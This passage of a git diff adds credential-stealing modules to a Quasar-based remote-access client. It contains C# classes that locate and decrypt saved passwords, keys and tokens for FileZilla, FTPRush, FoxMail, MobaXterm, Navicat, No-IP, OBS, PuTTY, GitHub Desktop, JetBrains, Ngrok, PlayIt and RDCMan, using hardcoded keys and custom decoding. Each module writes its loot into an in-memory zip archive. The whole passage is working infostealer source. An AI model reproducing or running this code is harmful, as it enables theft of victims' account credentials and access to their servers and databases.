counterApplications.Files.Add(text7); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPRush.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPRush.cs new file mode 100755 index 0000000..621517d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPRush.cs @@ -0,0 +1,68 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class FTPRush : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\Users\\" + Environment.UserName + "\\Documents\\FTPRush\\site.json"; + if (!File.Exists(text)) + { + return; + } + string input = File.ReadAllText(text); + Regex regex = new Regex("\"Server\"\\s*:\\s*\\{(.*?)\\}", RegexOptions.IgnoreCase | RegexOptions.Singleline); + Regex regex2 = new Regex("\"Host\"\\s*:\\s*\"(?[^\"]*)\"", RegexOptions.IgnoreCase); + Regex regex3 = new Regex("\"Port\"\\s*:\\s*(?\\d+)", RegexOptions.IgnoreCase); + Regex regex4 = new Regex("\"Username\"\\s*:\\s*\"(?[^\"]*)\"", RegexOptions.IgnoreCase); + Regex regex5 = new Regex("\"Base64Password\"\\s*:\\s*\"(?[^\"]*)\"", RegexOptions.IgnoreCase); + List list = new List(); + Counter.CounterApplications counterApplications = new Counter.CounterApplications + { + Name = "FTPRush" + }; + foreach (Match item in regex.Matches(input)) + { + string value = item.Groups[1].Value; + Match match = regex2.Match(value); + if (!match.Success) + { + continue; + } + string value2 = match.Groups["host"].Value; + Match match2 = regex3.Match(value); + string text2 = (match2.Success ? match2.Groups["port"].Value : "21"); + Match match3 = regex4.Match(value); + string text3 = (match3.Success ? match3.Groups["user"].Value : ""); + Match match4 = regex5.Match(value); + string text4 = ""; + if (match4.Success && !string.IsNullOrEmpty(match4.Groups["b64"].Value)) + { + try + { + byte[] bytes = Convert.FromBase64String(match4.Groups["b64"].Value); + text4 = Encoding.UTF8.GetString(bytes); + } + catch + { + text4 = ""; + } + } + list.Add("Url: " + value2 + ":" + text2 + "\nUsername: " + text3 + "\nPassword: " + text4 + "\n"); + counterApplications.Files.Add(text + " => FTP/FTPRush/Hosts.txt"); + } + if (list.Count > 0) + { + string text5 = "FTP/FTPRush/Hosts.txt"; + zip.AddFile(text5, Encoding.UTF8.GetBytes(string.Join("\n", list))); + counterApplications.Files.Add(text5); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FileZilla.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FileZilla.cs new file mode 100755 index 0000000..b364e1b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FileZilla.cs @@ -0,0 +1,56 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Xml; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class FileZilla : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\FileZilla\\"; + string[] array = new string[2] + { + text + "recentservers.xml", + text + "sitemanager.xml" + }; + if (!File.Exists(array[0]) && !File.Exists(array[1])) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "FileZilla"; + List list = new List(); + string[] array2 = array; + foreach (string text2 in array2) + { + if (!File.Exists(text2)) + { + continue; + } + XmlDocument xmlDocument = new XmlDocument(); + xmlDocument.Load(text2); + foreach (XmlNode item in xmlDocument.GetElementsByTagName("Server")) + { + string text3 = item?["Pass"]?.InnerText; + if (!string.IsNullOrEmpty(text3)) + { + string text4 = "ftp://" + item["Host"]?.InnerText + ":" + item["Port"]?.InnerText + "/"; + string text5 = item["User"]?.InnerText; + string text6 = Encoding.UTF8.GetString(Convert.FromBase64String(text3)); + list.Add("Url: " + text4 + "\nUsername: " + text5 + "\nPassword: " + text6); + } + } + string text7 = "FTP/FileZilla/" + Path.GetFileName(text2); + zip.AddFile(text7, File.ReadAllBytes(text2)); + counterApplications.Files.Add(text2 + " => " + text7); + } + string text8 = "FTP/FileZilla/Hosts.txt"; + counterApplications.Files.Add(text8 ?? ""); + zip.AddTextFile(text8, string.Join("\n\n", list.ToArray())); + counter.Applications.Add(counterApplications); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FoxMail.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FoxMail.cs new file mode 100755 index 0000000..8240db3 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FoxMail.cs @@ -0,0 +1,202 @@ +using System; +using System.IO; +using System.Text; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class FoxMail : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Classes\\Foxmail.url.mailto\\Shell\\open\\command"); + if (registryKey == null) + { + return; + } + string text = registryKey.GetValue("") as string; + if (string.IsNullOrEmpty(text)) + { + return; + } + int num = text.LastIndexOf("Foxmail.exe", StringComparison.OrdinalIgnoreCase); + if (num < 0) + { + return; + } + string path = Path.Combine(text.Substring(0, num).Replace("\"", "").TrimEnd('\\', ' '), "Storage"); + if (!Directory.Exists(path)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "FoxMail"; + string[] directories = Directory.GetDirectories(path, "*@*", SearchOption.TopDirectoryOnly); + foreach (string text2 in directories) + { + string fileName = Path.GetFileName(text2); + string text3 = Path.Combine(text2, "Accounts"); + if (!Directory.Exists(text3)) + { + continue; + } + string text4 = Path.Combine(text3, "Account.rec0"); + if (File.Exists(text4)) + { + string text5 = Path.Combine(Path.GetTempPath(), $"Account_{Guid.NewGuid():N}.rec"); + File.Copy(text4, text5, overwrite: true); + bool found; + int ver; + string text6 = ParseSecretFileAndGetPassword(text5, out found, out ver); + if (found) + { + string text7 = "Foxmail\\" + fileName + "\\Account.txt"; + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("E-Mail: " + fileName); + stringBuilder.AppendLine("Password: " + text6); + stringBuilder.AppendLine("FoxmailVersionDetected: " + ((ver == 0) ? "6.x" : "7.x or later")); + zip.AddTextFile(text7, stringBuilder.ToString()); + counterApplications.Files.Add(text4 + " => " + text7); + } + else + { + string text8 = "Foxmail\\" + fileName + "\\Account.rec0"; + zip.AddFile(text8, File.ReadAllBytes(text4)); + counterApplications.Files.Add(text4 + " => " + text8); + } + File.Delete(text5); + } + } + if (counterApplications.Files.Count > 0) + { + counter.Applications.Add(counterApplications); + } + } + + private string ParseSecretFileAndGetPassword(string path, out bool found, out int ver) + { + found = false; + ver = 1; + byte[] array = File.ReadAllBytes(path); + if (array == null || array.Length == 0) + { + return string.Empty; + } + if (array[0] == 208) + { + ver = 0; + } + else + { + ver = 1; + } + string text = ""; + string value = ""; + for (int i = 0; i < array.Length; i++) + { + byte b = array[i]; + if (b > 32 && b < 127 && b != 61) + { + string text2 = text; + char c = (char)b; + text = text2 + c; + if (text.Equals("Account", StringComparison.Ordinal)) + { + value = ReadAsciiValue(array, ref i, ver); + text = ""; + } + else if (text.Equals("POP3Account", StringComparison.Ordinal)) + { + value = ReadAsciiValue(array, ref i, ver); + text = ""; + } + else if ((text.Equals("Password", StringComparison.Ordinal) || text.Equals("POP3Password", StringComparison.Ordinal)) && !string.IsNullOrEmpty(value)) + { + string strHash = ReadAsciiValue(array, ref i, ver); + string result = DecodePW(ver, strHash); + found = true; + return result; + } + } + else + { + text = ""; + } + } + return string.Empty; + } + + private string ReadAsciiValue(byte[] bits, ref int jx, int ver) + { + int i = jx + 9; + if (ver == 0) + { + i = jx + 2; + } + StringBuilder stringBuilder = new StringBuilder(); + for (; i < bits.Length && bits[i] > 32 && bits[i] < 127; i++) + { + stringBuilder.Append((char)bits[i]); + } + jx = i; + return stringBuilder.ToString(); + } + + private string DecodePW(int ver, string strHash) + { + string text = string.Empty; + int[] array; + int num; + if (ver == 0) + { + array = new int[8] { 126, 100, 114, 97, 71, 111, 110, 126 }; + num = Convert.ToInt32("5A", 16); + } + else + { + array = new int[8] { 126, 70, 64, 55, 37, 109, 36, 126 }; + num = Convert.ToInt32("71", 16); + } + int num2 = strHash.Length / 2; + int num3 = 0; + int[] array2 = new int[num2]; + for (int i = 0; i < num2; i++) + { + array2[i] = Convert.ToInt32(strHash.Substring(num3, 2), 16); + num3 += 2; + } + int[] array3 = new int[array2.Length]; + array3[0] = array2[0] ^ num; + if (array2.Length > 1) + { + Array.Copy(array2, 1, array3, 1, array2.Length - 1); + } + while (array2.Length > array.Length) + { + int[] array4 = new int[array.Length * 2]; + Array.Copy(array, 0, array4, 0, array.Length); + Array.Copy(array, 0, array4, array.Length, array.Length); + array = array4; + } + int[] array5 = new int[array2.Length]; + for (int j = 1; j < array2.Length; j++) + { + array5[j - 1] = array2[j] ^ array[j - 1]; + } + int[] array6 = new int[array5.Length]; + for (int k = 0; k < array5.Length - 1; k++) + { + if (array5[k] - array3[k] < 0) + { + array6[k] = array5[k] + 255 - array3[k]; + } + else + { + array6[k] = array5[k] - array3[k]; + } + text += (char)array6[k]; + } + return text; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/GithubGui.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/GithubGui.cs new file mode 100755 index 0000000..708c1e2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/GithubGui.cs @@ -0,0 +1,42 @@ +using System; +using System.IO; +using System.Linq; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class GithubGui : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string path = "C:\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\GitHub Desktop\\Local Storage\\leveldb\\"; + if (!Directory.Exists(path)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "GithubGui"; + string[] allowedExtensions = new string[2] { ".log", ".ldb" }; + Parallel.ForEach(Directory.GetFiles(path), delegate(string file) + { + if (allowedExtensions.Contains(Path.GetExtension(file))) + { + string text3 = "GithubGui\\leveldb\\" + Path.GetFileName(file); + zip.AddFile(text3, File.ReadAllBytes(file)); + counterApplications.Files.Add(file + " => " + text3); + } + }); + string text = "C:\\Users\\" + Environment.UserName + "\\.gitconfig"; + if (File.Exists(text)) + { + string text2 = "GithubGui\\.gitconfig"; + zip.AddFile(text2, File.ReadAllBytes(text)); + counterApplications.Files.Add(text + " => " + text2); + } + if (counterApplications.Files.Count() > 0) + { + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/JetBrains.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/JetBrains.cs new file mode 100755 index 0000000..04937ed --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/JetBrains.cs @@ -0,0 +1,39 @@ +using System; +using System.IO; +using System.Linq; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class JetBrains : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "JetBrains"); + if (!Directory.Exists(path)) + { + return; + } + string[] allowedExtensions = new string[2] { ".key", ".license" }; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "JetBrains"; + Parallel.ForEach(Directory.GetDirectories(path), delegate(string apps) + { + Parallel.ForEach(Directory.GetFiles(apps), delegate(string file) + { + if (allowedExtensions.Contains(Path.GetExtension(file))) + { + string text = "JetBrains\\" + Path.GetFileName(apps) + "\\" + Path.GetFileName(file); + zip.AddFile(text, File.ReadAllBytes(file)); + counterApplications.Files.Add(file + " => " + text); + } + }); + }); + if (counterApplications.Files.Count() > 0) + { + counterApplications.Files.Add("JetBrains\\"); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/MobaXterm.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/MobaXterm.cs new file mode 100755 index 0000000..a2f2a06 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/MobaXterm.cs @@ -0,0 +1,170 @@ +using System; +using System.Collections.Generic; +using System.Security.Cryptography; +using System.Text; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class MobaXterm : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string entropy = (string)Registry.CurrentUser.OpenSubKey("SOFTWARE\\Mobatek\\MobaXterm").GetValue("SessionP"); + RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Mobatek\\MobaXterm\\m"); + string name = registryKey.GetValueNames()[0]; + string base64Value = (string)registryKey.GetValue(name); + byte[] key = DecryptMobaXtermMasterKey(base64Value, entropy); + RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Mobatek\\MobaXterm\\C"); + string[] valueNames = registryKey2.GetValueNames(); + foreach (string text in valueNames) + { + string[] array = ((string)registryKey2.GetValue(text)).Split(new char[1] { ':' }, 2); + string text2 = array[0]; + string ciphertextBase = array[1]; + string text3 = DecryptCredential(key, ciphertextBase); + Console.WriteLine("[*] Name: " + text); + Console.WriteLine("[*] Username: " + text2); + Console.WriteLine("[*] Password: " + text3); + Console.WriteLine(); + } + } + + private byte[] DecryptMobaXtermMasterKey(string base64Value, string Entropy) + { + byte[] array = new byte[20] + { + 1, 0, 0, 0, 208, 140, 157, 223, 1, 21, + 209, 17, 140, 122, 0, 192, 79, 194, 151, 235 + }; + byte[] array2 = Convert.FromBase64String(base64Value); + byte[] array3 = new byte[array.Length + array2.Length]; + Buffer.BlockCopy(array, 0, array3, 0, array.Length); + Buffer.BlockCopy(array2, 0, array3, array.Length, array2.Length); + byte[] bytes = Encoding.UTF8.GetBytes(Entropy); + return ProtectedData.Unprotect(array3, bytes, DataProtectionScope.CurrentUser); + } + + private string DecryptCredential(byte[] key, string ciphertextBase64) + { + byte[] array = LenientBase64Decode(ciphertextBase64); + byte[] inputBuffer = new byte[16]; + byte[] array2 = new byte[16]; + using (Aes aes = Aes.Create()) + { + aes.Mode = CipherMode.ECB; + aes.Padding = PaddingMode.None; + aes.Key = key; + using ICryptoTransform cryptoTransform = aes.CreateEncryptor(); + cryptoTransform.TransformBlock(inputBuffer, 0, 16, array2, 0); + } + byte[] array3 = (byte[])array2.Clone(); + byte[] array4 = new byte[array.Length]; + using (Aes aes2 = Aes.Create()) + { + aes2.Mode = CipherMode.ECB; + aes2.Padding = PaddingMode.None; + aes2.Key = key; + using ICryptoTransform cryptoTransform2 = aes2.CreateEncryptor(); + byte[] array5 = new byte[16]; + for (int i = 0; i < array.Length; i++) + { + cryptoTransform2.TransformBlock(array3, 0, 16, array5, 0); + array4[i] = (byte)(array[i] ^ array5[0]); + Buffer.BlockCopy(array3, 1, array3, 0, 15); + array3[15] = array[i]; + } + } + return Encoding.Default.GetString(array4).TrimEnd(default(char)); + } + + private byte[] LenientBase64Decode(string s) + { + StringBuilder stringBuilder = new StringBuilder(s.Length); + foreach (char c in s) + { + switch (c) + { + case '-': + case '_': + stringBuilder.Append((c == '-') ? '+' : '/'); + continue; + default: + if ((c < 'a' || c > 'z') && (c < '0' || c > '9') && c != '+' && c != '/' && c != '=') + { + continue; + } + break; + case 'A': + case 'B': + case 'C': + case 'D': + case 'E': + case 'F': + case 'G': + case 'H': + case 'I': + case 'J': + case 'K': + case 'L': + case 'M': + case 'N': + case 'O': + case 'P': + case 'Q': + case 'R': + case 'S': + case 'T': + case 'U': + case 'V': + case 'W': + case 'X': + case 'Y': + case 'Z': + break; + } + stringBuilder.Append(c); + } + string text = stringBuilder.ToString(); + int num = text.Length % 4; + if (num != 0) + { + text += new string('=', 4 - num); + } + List list = new List(text.Length * 3 / 4); + for (int j = 0; j < text.Length; j += 4) + { + int[] array = new int[4]; + for (int k = 0; k < 4; k++) + { + char c2 = text[j + k]; + if (c2 == '=') + { + array[k] = -1; + } + else + { + array[k] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".IndexOf(c2); + } + } + int num2 = array[0]; + int num3 = array[1]; + int num4 = array[2]; + int num5 = array[3]; + byte item = (byte)((num2 << 2) | ((num3 & 0x30) >> 4)); + list.Add(item); + if (num4 != -1) + { + byte item2 = (byte)(((num3 & 0xF) << 4) | ((num4 & 0x3C) >> 2)); + list.Add(item2); + } + if (num5 != -1) + { + byte item3 = (byte)(((num4 & 3) << 6) | num5); + list.Add(item3); + } + } + return list.ToArray(); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Navicat.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Navicat.cs new file mode 100755 index 0000000..f0ee9fd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Navicat.cs @@ -0,0 +1,63 @@ +using System.Collections.Generic; +using System.Text; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class Navicat : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Dictionary dictionary = new Dictionary + { + ["Navicat"] = "MySql", + ["NavicatMSSQL"] = "SQL Server", + ["NavicatOra"] = "Oracle", + ["NavicatPG"] = "pgsql", + ["NavicatMARIADB"] = "MariaDB" + }; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Navicat"; + Navicat11Cipher navicat11Cipher = new Navicat11Cipher(); + foreach (string key in dictionary.Keys) + { + string text = "Software\\PremiumSoft\\" + key + "\\Servers"; + RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text); + if (registryKey == null) + { + continue; + } + string text2 = dictionary[key]; + string[] subKeyNames = registryKey.GetSubKeyNames(); + foreach (string text3 in subKeyNames) + { + RegistryKey registryKey2 = registryKey.OpenSubKey(text3); + if (registryKey2 != null) + { + object value = registryKey2.GetValue("Host"); + object value2 = registryKey2.GetValue("UserName"); + object value3 = registryKey2.GetValue("Pwd"); + string text4 = value.ToString(); + string text5 = value2.ToString(); + string ciphertext = value3.ToString(); + string text6 = navicat11Cipher.DecryptString(ciphertext); + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("DatabaseType: " + text2); + stringBuilder.AppendLine("ConnectName: " + text3); + stringBuilder.AppendLine("Host: " + text4); + stringBuilder.AppendLine("UserName: " + text5); + stringBuilder.AppendLine("Password: " + text6); + string text7 = "Navicat\\" + text2 + "\\" + text3 + "\\connection.txt"; + zip.AddTextFile(text7, stringBuilder.ToString()); + counterApplications.Files.Add(text + "\\" + text3 + " => " + text7); + } + } + } + if (counterApplications.Files.Count > 0) + { + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Ngrok.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Ngrok.cs new file mode 100755 index 0000000..b21bf40 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Ngrok.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class Ngrok : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "ngrok", "ngrok.yml"); + if (File.Exists(text)) + { + string text2 = "Ngrok\\ngrok.yml"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Ngrok"; + zip.AddFile(text2, File.ReadAllBytes(text)); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/NoIp.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/NoIp.cs new file mode 100755 index 0000000..a03d1b1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/NoIp.cs @@ -0,0 +1,67 @@ +using System.Security.Cryptography; +using System.Text; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class NoIp : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "SOFTWARE\\Vitalwerks\\DUC\\v4"; + using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text); + if (registryKey != null) + { + object value = registryKey.GetValue("CKey"); + object value2 = registryKey.GetValue("CID"); + object value3 = registryKey.GetValue("UserName"); + if (value != null || value2 != null || value3 != null) + { + string text2 = DecryptString((byte[])value2); + string text3 = DecryptString((byte[])value); + string text4 = DecryptString((byte[])value3); + string text5 = "NoIp\\Credentials.txt"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "NoIp"; + counterApplications.Files.Add(text + " => " + text5); + counterApplications.Files.Add(text5); + zip.AddTextFile(text5, "clientid: " + text2 + "\nlogin: " + text4 + "\npassword hash: " + text3); + counter.Applications.Add(counterApplications); + } + } + } + + private string DecryptString(byte[] message) + { + try + { + if (message == null) + { + return null; + } + byte[] array = DpApi.Decrypt(message); + if (array == null) + { + return null; + } + byte[] key = new byte[16] + { + 127, 238, 115, 104, 83, 74, 138, 240, 49, 50, + 224, 252, 103, 181, 23, 117 + }; + using TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider(); + tripleDESCryptoServiceProvider.Key = key; + tripleDESCryptoServiceProvider.Mode = CipherMode.ECB; + tripleDESCryptoServiceProvider.Padding = PaddingMode.PKCS7; + using ICryptoTransform cryptoTransform = tripleDESCryptoServiceProvider.CreateDecryptor(); + byte[] bytes = cryptoTransform.TransformFinalBlock(array, 0, array.Length); + return Encoding.UTF8.GetString(bytes); + } + catch + { + return null; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Obs.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Obs.cs new file mode 100755 index 0000000..86450d3 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Obs.cs @@ -0,0 +1,71 @@ +using System; +using System.Collections.Concurrent; +using System.IO; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class Obs : ITarget +{ + private static readonly Regex SettingsRe = new Regex("\"settings\"\\s*:\\s*\\{(?.*?)\\}", RegexOptions.IgnoreCase | RegexOptions.Compiled | RegexOptions.Singleline); + + private static readonly Regex ServiceRe = new Regex("\"service\"\\s*:\\s*\"(?[^\"]*)\"", RegexOptions.IgnoreCase | RegexOptions.Compiled | RegexOptions.Singleline); + + private static readonly Regex KeyRe = new Regex("\"key\"\\s*:\\s*\"(?[^\"]*)\"", RegexOptions.IgnoreCase | RegexOptions.Compiled | RegexOptions.Singleline); + + public void Collect(InMemoryZip zip, Counter counter) + { + string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "obs-studio", "basic", "profiles"); + if (!Directory.Exists(path)) + { + return; + } + string[] jsonFiles = new string[2] { "service.json", "service.json.bak" }; + ConcurrentBag infoLines = new ConcurrentBag(); + string[] directories = Directory.GetDirectories(path); + if (directories.Length == 0) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "OBS"; + Parallel.ForEach(directories, delegate(string profileDir) + { + string text2 = Path.GetFileName(profileDir) ?? profileDir; + string[] array = jsonFiles; + foreach (string text3 in array) + { + string text4 = Path.Combine(profileDir, text3); + if (File.Exists(text4)) + { + string text5 = File.ReadAllText(text4, Encoding.UTF8); + string text6 = "OBS\\" + text2 + "\\" + text3; + zip.AddFile(text6, File.ReadAllBytes(text4)); + counterApplications.Files.Add(text4 + " => " + text6); + Match match = SettingsRe.Match(text5); + string input = (match.Success ? match.Groups["s"].Value : text5); + string value = ServiceRe.Match(input).Groups["v"].Value; + string value2 = KeyRe.Match(input).Groups["v"].Value; + if (!string.IsNullOrEmpty(value) || !string.IsNullOrEmpty(value2)) + { + infoLines.Add("Profile:" + text2 + " | File:" + text3 + " | Service:" + value + " | Key:" + value2); + } + } + } + }); + if (infoLines.Any()) + { + string text = "OBS\\OBS_ServiceKeys.txt"; + zip.AddTextFile(text, string.Join(Environment.NewLine, infoLines)); + counterApplications.Files.Add(text); + } + if (counterApplications.Files.Count > 0) + { + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/PlayIt.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/PlayIt.cs new file mode 100755 index 0000000..4c5a253 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/PlayIt.cs @@ -0,0 +1,33 @@ +using System; +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class PlayIt : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "PlayIt"; + Parallel.ForEach(ProcessWindows.FindFile("playit.toml"), delegate(string toml) + { + string text3 = "PlayIt\\playit" + RandomStrings.GenerateHashTag() + ".toml"; + zip.AddFile(text3, File.ReadAllBytes(toml)); + counterApplications.Files.Add(toml + " => " + text3); + }); + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "playit_gg", "playit.toml"); + if (File.Exists(text)) + { + string text2 = "PlayIt\\playit.toml"; + zip.AddFile(text2, File.ReadAllBytes(text)); + counterApplications.Files.Add(text + " => " + text2); + } + if (counterApplications.Files.Count > 0) + { + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/PuTTY.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/PuTTY.cs new file mode 100755 index 0000000..12ec9a1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/PuTTY.cs @@ -0,0 +1,62 @@ +using System; +using System.IO; +using System.Linq; +using Intelix.Helper; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class PuTTY : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "PuTTY"; + Logs(zip, counterApplications); + Sessions(zip, counterApplications); + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("PuTTY\\"); + counter.Applications.Add(counterApplications); + } + } + + private void Logs(InMemoryZip zip, Counter.CounterApplications counterApplications) + { + string text = "C:\\Program Files\\PuTTY\\putty.log"; + if (File.Exists(text)) + { + string text2 = "PuTTY\\putty.log"; + zip.AddFile(text2, File.ReadAllBytes(text)); + counterApplications.Files.Add(text + " => " + text2); + } + } + + private void Sessions(InMemoryZip zip, Counter.CounterApplications counterApplications) + { + string text = "Software\\SimonTatham\\PuTTY\\Sessions"; + using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text, writable: false); + if (registryKey == null) + { + return; + } + string[] array = registryKey.GetSubKeyNames().OrderBy((string x) => x, StringComparer.OrdinalIgnoreCase).ToArray(); + if (array.Length == 0) + { + return; + } + string[] array2 = array; + foreach (string text2 in array2) + { + using RegistryKey registryKey2 = registryKey.OpenSubKey(text2, writable: false); + if (registryKey2 != null) + { + string text3 = "PuTTY\\session_" + text2 + ".txt"; + string text4 = string.Join("\n", RegistryParser.ParseKey(registryKey2)); + zip.AddTextFile(text3, text4); + counterApplications.Files.Add(text + "\\" + text2 + " => " + text3); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/RDCMan.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/RDCMan.cs new file mode 100755 index 0000000..4d2ab02 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/RDCMan.cs @@ -0,0 +1,124 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Xml; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Applications; + +public class RDCMan : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft", "Remote Desktop Connection Manager", "RDCMan.settings"); + if (!File.Exists(path)) + { + return; + } + List list = new List(); + XmlDocument xmlDocument = new XmlDocument(); + xmlDocument.LoadXml(File.ReadAllText(path)); + XmlNodeList xmlNodeList = xmlDocument.SelectNodes("//FilesToOpen"); + if (xmlNodeList != null) 